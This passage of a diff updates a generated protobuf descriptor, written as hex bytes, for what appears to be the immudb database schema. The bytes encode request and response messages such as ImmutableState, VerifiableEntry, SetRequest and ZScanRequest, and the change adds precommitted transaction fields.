0x18, 0x02, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x09, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x6e, + 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x6e, 0x75, 0x6d, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0c, 0x6e, 0x75, 0x6d, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x44, 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x44, + 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x42, 0x0a, 0x0e, 0x48, 0x65, 0x61, 0x6c, 0x74, + 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, + 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, + 0x73, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x7a, 0x0a, 0x16, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, + 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x12, + 0x36, 0x0a, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, + 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, + 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x0e, 0x49, 0x6d, 0x6d, 0x75, + 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x64, 0x62, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x64, 0x62, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x78, + 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, 0x78, 0x49, 0x64, 0x12, 0x16, + 0x0a, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, + 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, + 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, - 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xc5, - 0x01, 0x0a, 0x0f, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, - 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, - 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, - 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, - 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0x50, 0x0a, 0x0e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, - 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6c, 0x65, 0x61, 0x66, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x12, 0x14, 0x0a, 0x05, - 0x77, 0x69, 0x64, 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x77, 0x69, 0x64, - 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, - 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x92, 0x01, 0x0a, 0x0a, 0x53, 0x65, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x03, 0x4b, 0x56, 0x73, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x4b, - 0x56, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, - 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, - 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x84, 0x01, - 0x0a, 0x0a, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, - 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, - 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, - 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, - 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, - 0x57, 0x61, 0x69, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, - 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, - 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x3e, 0x0a, 0x0e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, - 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, - 0x63, 0x65, 0x54, 0x78, 0x22, 0x59, 0x0a, 0x11, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, - 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, - 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, - 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, - 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, - 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, - 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, - 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, - 0x0a, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x6b, - 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, - 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x13, 0x0a, - 0x11, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x22, 0xc8, 0x01, 0x0a, 0x12, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, - 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, - 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x6e, 0x75, 0x6d, 0x54, - 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x6e, - 0x75, 0x6d, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x05, 0x52, 0x0c, 0x6e, 0x75, 0x6d, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x12, - 0x2c, 0x0a, 0x11, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x44, 0x69, 0x73, 0x6b, - 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x73, 0x44, 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x42, 0x0a, - 0x0e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, - 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x22, 0x7a, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, - 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, - 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x73, 0x12, 0x36, 0x0a, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, 0xe0, 0x01, - 0x0a, 0x0e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, - 0x12, 0x0e, 0x0a, 0x02, 0x64, 0x62, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x64, 0x62, - 0x12, 0x12, 0x0a, 0x04, 0x74, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, - 0x74, 0x78, 0x49, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, 0x0a, 0x09, - 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, - 0x74, 0x75, 0x72, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, - 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, - 0x12, 0x2e, 0x0a, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, 0x70, 0x72, + 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x2a, + 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, + 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x12, 0x2e, 0x0a, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, - 0x22, 0xd5, 0x01, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, - 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, - 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, - 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, - 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, - 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, - 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, - 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, - 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, - 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, - 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x52, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, - 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, - 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, 0x41, 0x64, - 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, - 0x6f, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, - 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, - 0x65, 0x66, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, - 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, 0x53, 0x63, - 0x6f, 0x72, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, 0x5a, 0x53, - 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, - 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, - 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, - 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, - 0x6f, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, - 0x63, 0x6f, 0x72, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, - 0x12, 0x24, 0x0a, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, - 0x6b, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, - 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, - 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 